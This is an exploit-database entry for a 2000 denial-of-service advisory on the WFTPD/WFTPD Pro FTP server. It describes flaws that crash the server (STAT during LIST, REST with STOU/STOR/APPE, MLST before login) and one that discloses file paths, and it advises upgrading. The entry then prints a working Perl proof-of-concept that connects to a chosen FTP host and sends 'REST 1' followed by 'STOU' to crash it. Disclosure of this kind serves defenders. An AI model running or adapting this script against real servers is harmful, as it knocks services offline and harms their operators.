header-logo
Suggest Exploit
vendor:
WFTPD/WFTPD Pro
by:
bluepanda@dwarf.box.sk
7.5
CVSS
HIGH
Denial of Service
N/A
CWE
Product Name: WFTPD/WFTPD Pro
Affected Version From: 2.41
Affected Version To: 2.4.1RC11
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2000

WFTPD/WFTPD Pro 2.41 RC11 denial-of-service #2

WFTPD versions prior to 2.4.1RC11 suffer from a number of vulnerabilities. Issuing a STAT command while a LIST is in progress will cause the ftp server to crash. If the REST command is used to write past the end of a file or to a non-existant file (with STOU, STOR, or APPE), the ftp server will crash. If a transfer is in progress and a STAT command is issued, the full path and filename on the server is revealed. If an MLST command is sent without first logging in with USER and PASS, the ftp server will crash.

Mitigation:

Upgrade to WFTPD 2.4.1RC11 or later.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/1506/info
 
WFTPD versions prior to 2.4.1RC11 suffer from a number of vulnerabilities.
 
1) Issuing a STAT command while a LIST is in progress will cause the ftp server to crash.
2) If the REST command is used to write past the end of a file or to a non-existant file (with STOU, STOR, or APPE), the ftp server will crash.
3) If a transfer is in progress and a STAT command is issued, the full path and filename on the server is revealed.
4) If an MLST command is sent without first logging in with USER and PASS, the ftp server will crash.

================================================================
BluePanda Vulnerability Announcement: WFTPD/WFTPD Pro 2.41 RC11
21/07/2000 (dd/mm/yyyy)

bluepanda@dwarf.box.sk
http://bluepanda.box.sk/
#!/usr/bin/perl
#
# WFTPD/WFTPD Pro 2.41 RC11 denial-of-service #2
# Blue Panda - bluepanda@dwarf.box.sk
# http://bluepanda.box.sk/
#
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#

use IO::Socket;

$host = "ftp.host.com" ;
$port = "21";
$user = "anonymous";
$pass = "p\@nda";
$wait = 10;

# Connect to server.
print "Connecting to $host:$port...";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "failed.\n";
print "done.\n";

print $socket "USER $user\nPASS $pass\nREST 1\nSTOU\n";

# Wait a while, just to make sure the commands have arrived.
print "Waiting...";
$time = 0;
while ($time < $wait) {
        sleep(1);
        print ".";
        $time += 1;
}

# Finished.
close($socket);
print "\nConnection closed. Finished.\n"